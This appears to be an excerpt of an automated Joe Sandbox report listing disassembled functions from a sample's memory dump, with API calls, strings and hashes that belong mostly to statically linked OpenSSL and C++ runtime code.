Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Event$FileSource$ByteCharDeregisterHandleMultiRegisterReportTypeWideWrite__stdio_common_vsprintf__stdio_common_vswprintf
String ID: OpenSSL$OpenSSL: FATAL$no stack?
API String ID: 2603057392-278800372
Opcode ID: 0549c6e0ebe0e4384c610379d12ebee34949447fd683fb19fbbaa6f6acc6abd9
Instruction ID: 2ec5acf42579b9b78f5cc400c9d1516f72af6346a301aeccf1ece7c012f82d39
Opcode Fuzzy Hash: 0549c6e0ebe0e4384c610379d12ebee34949447fd683fb19fbbaa6f6acc6abd9
Instruction Fuzzy Hash: 6C810731910316DBDF20CF24CC98BAE7775FF85750F114299F919AB191FB31A9849B60

Function 10149070 Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 355stringCOMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 101490D9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,-----BEGIN ,0000000B,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 101491AD
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(-00000006,-----,00000006), ref: 101491CB
memmove.VCRUNTIME140(00000000,0000000B,-00000010), ref: 1014920B

Strings

PEM_read_bio_ex, xrefs: 101490BD, 101492DE, 1014948E, 101494B9
get_name, xrefs: 10149222
-----, xrefs: 101491C5
crypto\pem\pem_lib.c, xrefs: 101490C7, 10149140, 101491E6, 1014922C, 1014924F, 101492E8, 10149321, 101493B0, 101493C8, 1014944E, 1014946C, 10149498, 101494C3
-----BEGIN , xrefs: 101491A1

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: strncmp$__fprintf_lmemmove
String ID: -----$-----BEGIN $PEM_read_bio_ex$crypto\pem\pem_lib.c$get_name
API String ID: 1415039459-2402414792
Opcode ID: 62d5ca2332261485e819b686ee8b83f509280aacda0df4de10e810192d69b02b
Instruction ID: 0c8ee196ff497083f70a5b59f8c0605fdbf9e18df623091a4a637d4f1066b85b
Opcode Fuzzy Hash: 62d5ca2332261485e819b686ee8b83f509280aacda0df4de10e810192d69b02b
Instruction Fuzzy Hash: 43C1F175608301AFD300DF65DD42F5BB7E9EF89704F110918FA84AB292E7B9BA058763

Function 1004E9B2 Relevance: 21.3, APIs: 14, Instructions: 268COMMON

Download Yara Rule

APIs

?width@ios_base@std@@QBE_JXZ.MSVCP140(DB3A51AF), ref: 1004EA30
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96
?flags@ios_base@std@@QBEHXZ.MSVCP140(1004C26B), ref: 1004EAFE
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004EB47
?fill@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBE_WXZ.MSVCP140 ref: 1004EB5B
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?), ref: 1004EB6B
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004EBD6
?sputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE_JPB_W_J@Z.MSVCP140(?,?,?), ref: 1004EBEB
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004EC5B
?fill@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBE_WXZ.MSVCP140 ref: 1004EC6F
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?), ref: 1004EC7F
?width@ios_base@std@@QAE_J_J@Z.MSVCP140(00000000,00000000), ref: 1004ECEE
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000), ref: 1004ED39

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: U?$char_traits@_$W@std@@@std@@$?width@ios_base@std@@$?rdbuf@?$basic_ios@_V?$basic_streambuf@_W@std@@@2@$?fill@?$basic_ios@_?sputc@?$basic_streambuf@_$?flags@ios_base@std@@?setstate@?$basic_ios@_?sputn@?$basic_streambuf@_
String ID:
API String ID: 2190125631-0
Opcode ID: 20179e33efb753dcc20f5adb1cab53b7b60c6fb7333b819a9d11980dfc849f66
Instruction ID: ff31220659a80afcffc1c00e4c5a4c0622d961e065230db8226f815fc1c4ec35
Opcode Fuzzy Hash: 20179e33efb753dcc20f5adb1cab53b7b60c6fb7333b819a9d11980dfc849f66
Instruction Fuzzy Hash: 7DD1B234D04299DFDB14CFA8C998BADBBB1FF08344F208069E845AB251D734AE85DF55

Function 1004F445 Relevance: 21.2, APIs: 14, Instructions: 226COMMON

Download Yara Rule

APIs

?width@ios_base@std@@QBE_JXZ.MSVCP140(DB3A51AF), ref: 1004F480
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004F4A5
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004F4C1
?flags@ios_base@std@@QBEHXZ.MSVCP140(?), ref: 1004F507
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004F539
?fill@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBE_WXZ.MSVCP140 ref: 1004F54D
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?), ref: 1004F55D
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004F5C8
?sputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE_JPB_W_J@Z.MSVCP140(?,1004ED9C,00000000), ref: 1004F5DE
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004F631
?fill@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBE_WXZ.MSVCP140 ref: 1004F645
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?), ref: 1004F655
?width@ios_base@std@@QAE_J_J@Z.MSVCP140(00000000,00000000), ref: 1004F6C4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000), ref: 1004F70F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: U?$char_traits@_$W@std@@@std@@$?width@ios_base@std@@$?rdbuf@?$basic_ios@_V?$basic_streambuf@_W@std@@@2@$?fill@?$basic_ios@_?sputc@?$basic_streambuf@_$?flags@ios_base@std@@?setstate@?$basic_ios@_?sputn@?$basic_streambuf@_
String ID:
API String ID: 2190125631-0
Opcode ID: 27402a6c7d01cfb463d76aea4fd445d8cbac2009676ca05edb424f0590a9159d
Instruction ID: 3da1a2e30c5b71bc80353a95f5513c6023e00f4871f0b0cc8dca461cb23200a2
Opcode Fuzzy Hash: 27402a6c7d01cfb463d76aea4fd445d8cbac2009676ca05edb424f0590a9159d
Instruction Fuzzy Hash: 9EB1D474900249DFDB14CFA8C998AEDBBB1FF48355F208069E916EB361D734A940DF58

Function 10294460 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 172libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll,RtlVerifyVersionInfo), ref: 1029448E
GetProcAddress.KERNEL32(00000000), ref: 10294495
memset.VCRUNTIME140(?,00000000,0000010C,00000000), ref: 102944FC
VerSetConditionMask.KERNEL32(00000000,00000000,00000002,?), ref: 10294561
VerSetConditionMask.KERNEL32(00000000,?,00000001,?), ref: 1029456B
VerSetConditionMask.KERNEL32(00000000,?,00000010,?,?,00000020,?,?,00000001,?), ref: 10294588
VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 10294594
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 102945BC
VerifyVersionInfoW.KERNEL32(?,00000004,00000000), ref: 10294649

Strings

Dnw, xrefs: 1029449B, 1029459B, 10294614
RtlVerifyVersionInfo, xrefs: 10294484
ntdll, xrefs: 10294489

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion$AddressHandleModuleProcmemset
String ID: Dnw$RtlVerifyVersionInfo$ntdll
API String ID: 2720349688-1270282221
Opcode ID: 4a41f9a75862da2f40897367249ddbc67ff133df89cf45c568dd8cfc068dbfe1
Instruction ID: 026067991328a0474be287a845539a9291c27e6caa6dfdcda64fc302259a1504
Opcode Fuzzy Hash: 4a41f9a75862da2f40897367249ddbc67ff133df89cf45c568dd8cfc068dbfe1
Instruction Fuzzy Hash: EB51F3B1608365EFE720CB64CC85FAB7BD8EBCA344F04441EF58897290CE75A814CB52

Function 10052390 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 318COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100523DF
__fprintf_l.LIBCMT ref: 10052416
__fprintf_l.LIBCMT ref: 100526FD

Strings

EVP_DecryptUpdate, xrefs: 100523C2, 100523FA, 10052482, 10052552, 100525AA, 10052695, 100526AE, 100526E0
assertion failed: b <= sizeof(ctx->final), xrefs: 1005250A
crypto\evp\evp_enc.c, xrefs: 100523CC, 10052404, 10052505, 1005255C, 100525B4, 100526B8, 100526EA

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_DecryptUpdate$assertion failed: b <= sizeof(ctx->final)$crypto\evp\evp_enc.c
API String ID: 3906573944-1798721546
Opcode ID: 95a7044ad89071d2cdbf4825526b9a98a26ffc531f70ef3ecc3fb7c09a766879
Instruction ID: bdabccaa8e2056fe076904c3cb050f45b35d79d3a4e5d1a67d2b93a1f81137bc
Opcode Fuzzy Hash: 95a7044ad89071d2cdbf4825526b9a98a26ffc531f70ef3ecc3fb7c09a766879
Instruction Fuzzy Hash: 24913C76744301ABE700DA24EC82F6B73D8FF81365F200929FA4A955C2EF72F518D666

Function 10060940 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 299COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10060988

Strings

name=%s, xrefs: 10060B02, 10060BA5
name=%s, provider has no provider init function, xrefs: 10060B51
OPENSSL_MODULES, xrefs: 10060A24
OSSL_provider_init, xrefs: 10060B20
crypto\provider_core.c, xrefs: 10060976, 100609F8, 10060AAC, 10060ABC, 10060ACF, 10060AF5, 10060B44, 10060B98, 10060C77
provider_init, xrefs: 1006096C, 10060AEB, 10060B3A, 10060B8E
D:\FilePath\src\vcpkg\packages\openssl_x86-windows-static\bin, xrefs: 10060A39

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: D:\FilePath\src\vcpkg\packages\openssl_x86-windows-static\bin$OPENSSL_MODULES$OSSL_provider_init$crypto\provider_core.c$name=%s$name=%s, provider has no provider init function$provider_init
API String ID: 3906573944-2934756048
Opcode ID: b86fb66326600fe42300449e75f3b24b82bb4c811aed712d1d8b868b2db3bafc
Instruction ID: c7907e0b474a389c0c913a856d40990056283d18a898ecb3add775151a2fa80d
Opcode Fuzzy Hash: b86fb66326600fe42300449e75f3b24b82bb4c811aed712d1d8b868b2db3bafc
Instruction Fuzzy Hash: B6A103786803026FD320DFA4ED81B1B77F2EF01658F004A3CF98A96642E776F9159B52

Function 101653F0 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 296COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1016542B
__fprintf_l.LIBCMT ref: 1016549E

Strings

PKCS12_pbe_crypt_ex, xrefs: 10165412, 10165484, 101654F1, 1016555C, 1016559D, 101655F1, 10165654, 101656E8
maybe wrong password, xrefs: 10165669
crypto\pkcs12\p12_decr.c, xrefs: 10165419, 1016548B, 10165514, 1016554A, 10165563, 101655A4, 101655F8, 10165642, 1016565B, 101656D6, 101656EF
empty password, xrefs: 1016566E, 10165676

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: PKCS12_pbe_crypt_ex$crypto\pkcs12\p12_decr.c$empty password$maybe wrong password
API String ID: 3906573944-1923314313
Opcode ID: cc733c5edf943734cc612c6c1f5317a411bfb8eaa374fef01925410374e6d1c3
Instruction ID: 5e15cf4e4ac5eaa192bf9f466a243b5ed4572f4f1d0f86f0775f39de073d56af
Opcode Fuzzy Hash: cc733c5edf943734cc612c6c1f5317a411bfb8eaa374fef01925410374e6d1c3
Instruction Fuzzy Hash: 11814D7EB403053AE611E668BC43FFF3668FF44A85F840024FA4899183FA55B95D92B7

Function 10271F60 Relevance: 18.1, APIs: 12, Instructions: 102COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?), ref: 10271F80
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 10271F90
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 10271FAA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271FB1
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?), ref: 10271FD1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 10271FDF
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?), ref: 10271FFC
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272003
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272017
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272023
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272035
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272042

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWidefree$malloc$_errno_wfopen
String ID:
API String ID: 2921460720-0
Opcode ID: 2dfb960357b932506c375bab06a01b63b17ea98b234762feb6478e331e25aff6
Instruction ID: d1232116023401e744aa5ffebe7f734abd68363410e105865aebe229190341d6
Opcode Fuzzy Hash: 2dfb960357b932506c375bab06a01b63b17ea98b234762feb6478e331e25aff6
Instruction Fuzzy Hash: 5D21E57690632372D2316AA65D01F5B745CDFA2BF0F310224FD14666D0EE61E828C5F2

Function 1007D820 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 411COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007D8B3
__fprintf_l.LIBCMT ref: 1007D94B

Strings

properties, xrefs: 1007D8D5
ossl_decoder_ctx_setup_for_pkey, xrefs: 1007DA76
crypto\encode_decode\decoder_pkey.c, xrefs: 1007D8A1, 1007D938, 1007D99A, 1007DA10, 1007DA4D, 1007DA80, 1007DB69, 1007DB7B, 1007DB8D, 1007DBDE, 1007DC13, 1007DC3B, 1007DC64, 1007DC86, 1007DD0D, 1007DD8B
OSSL_DECODER_CTX_new_for_pkey, xrefs: 1007D897, 1007D92E, 1007D990, 1007DCC2, 1007DD03, 1007DD81

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_new_for_pkey$crypto\encode_decode\decoder_pkey.c$ossl_decoder_ctx_setup_for_pkey$properties
API String ID: 3906573944-911946193
Opcode ID: 8f0781ed3b70d366b21abf4bb036ee730848a7a21c02e2f35dc24b8875e130c2
Instruction ID: e4355d6db676a980667e2e7f18967363d79d0adf1cd33c67b5641c6e0c464027
Opcode Fuzzy Hash: 8f0781ed3b70d366b21abf4bb036ee730848a7a21c02e2f35dc24b8875e130c2
Instruction Fuzzy Hash: C5D1E676904341AAE751EB60AC02F5B76E4FF44354F008929FD88E6242EB75FA18C79B

Function 100895D0 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 358COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008961D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000), ref: 10089652

Strings

Setting debug file to %s, xrefs: 1008980E
Setting store name to %s, xrefs: 1008975D
Setting flags to %d, xrefs: 100897A3
D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\engines\e_capi_err.c, xrefs: 10089609
engines\e_capi.c, xrefs: 10089629, 1008966E, 1008972C, 1008974B, 100897F4, 10089891, 100898F5, 1008995C
Setting debug level to %d, xrefs: 100897CC
Setting key type to %d, xrefs: 10089837
ERR_CAPI_error, xrefs: 10089602

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __acrt_iob_func__fprintf_l
String ID: D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\engines\e_capi_err.c$ERR_CAPI_error$Setting debug file to %s$Setting debug level to %d$Setting flags to %d$Setting key type to %d$Setting store name to %s$engines\e_capi.c
API String ID: 1350008154-3628211485
Opcode ID: c4e04daa49ff7e79b2c27cc2ab0eaf3b7c42bbe93cc8fb81897d6ecf118514ed
Instruction ID: ccb6a79016c9e5070a36e9fd06b6219ab8511536e9135891aee3bd30bd40bdc0
Opcode Fuzzy Hash: c4e04daa49ff7e79b2c27cc2ab0eaf3b7c42bbe93cc8fb81897d6ecf118514ed
Instruction Fuzzy Hash: A791E0BAF4510427D600E6657C43BAB7359FB81936F440637F90891343EA5BF72D92A2

Function 10052080 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 239COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100520C1
__fprintf_l.LIBCMT ref: 100520F6
__fprintf_l.LIBCMT ref: 10052345

Strings

assertion failed: b <= sizeof(ctx->final), xrefs: 100521B0
crypto\evp\evp_enc.c, xrefs: 100520AE, 100520E3, 10052162, 100521AB, 10052239, 10052267, 10052303, 10052332
EVP_DecryptFinal_ex, xrefs: 100520A4, 100520D9, 10052158, 1005221E, 1005222F, 1005225D, 100522E2, 100522F9, 10052328

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_DecryptFinal_ex$assertion failed: b <= sizeof(ctx->final)$crypto\evp\evp_enc.c
API String ID: 3906573944-1740712452
Opcode ID: 37da99f6720a8c33ed431863380d618240c4188857ca9dadf9780e40475885b8
Instruction ID: a470929c58f69c761cb6252462e078d3c038ddaf0ea5dd53e5072da54b54a563
Opcode Fuzzy Hash: 37da99f6720a8c33ed431863380d618240c4188857ca9dadf9780e40475885b8
Instruction Fuzzy Hash: 83613A3A744301BEE300EA68BC42F6B7690FF81714F104969FB4DA95C3EB72A559C15A

Function 10061970 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 235COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100619F4
__fprintf_l.LIBCMT ref: 10061A52
__fprintf_l.LIBCMT ref: 10061C58

Strings

Algorithm %s cannot be found, xrefs: 10061B4E
crypto\evp\evp_fetch.c, xrefs: 100619E1, 10061A3F, 10061B43, 10061BE9, 10061C45
<null>, xrefs: 10061BFA, 10061C08, 10061C0D
%s, Algorithm (%s : %d), Properties (%s), xrefs: 10061C1A
inner_evp_generic_fetch, xrefs: 100619D7, 10061A35, 10061B39, 10061BDF, 10061C3B

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: %s, Algorithm (%s : %d), Properties (%s)$<null>$Algorithm %s cannot be found$crypto\evp\evp_fetch.c$inner_evp_generic_fetch
API String ID: 3906573944-625229346
Opcode ID: c0399435284a6c1b0b362242d42ea293d3e69e7145a38cb82bd213fcc6d1fe36
Instruction ID: aa6839232a9dd3f2b6f0447fb2d96a438214a2425f1f5edf1a6219dbfdd9b6b7
Opcode Fuzzy Hash: c0399435284a6c1b0b362242d42ea293d3e69e7145a38cb82bd213fcc6d1fe36
Instruction Fuzzy Hash: 27712475984340ABD300DF649C82F9FBBE6FF85790F440928FE8896251E776E914CB92

Function 10149CC0 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 200stringCOMMON

Download Yara Rule

APIs

Part of subcall function 10068520: __fprintf_l.LIBCMT ref: 10068552

memchr.VCRUNTIME140(00000000,0000003A,00000000), ref: 10149D71
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,-----END ,00000009), ref: 10149D8B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,-----END ,00000009,?,?,?,?,?,?,?,?,?,00000000), ref: 10149DE5
__fprintf_l.LIBCMT ref: 10149E5B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000009,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 10149ECC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,-----,00000006), ref: 10149EE3

Strings

-----END , xrefs: 10149D85, 10149DDF
get_header_and_data, xrefs: 10149E41, 10149E97, 10149EA8, 10149F14
-----, xrefs: 10149EDD
crypto\pem\pem_lib.c, xrefs: 10149CEB, 10149E4B, 10149E6F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
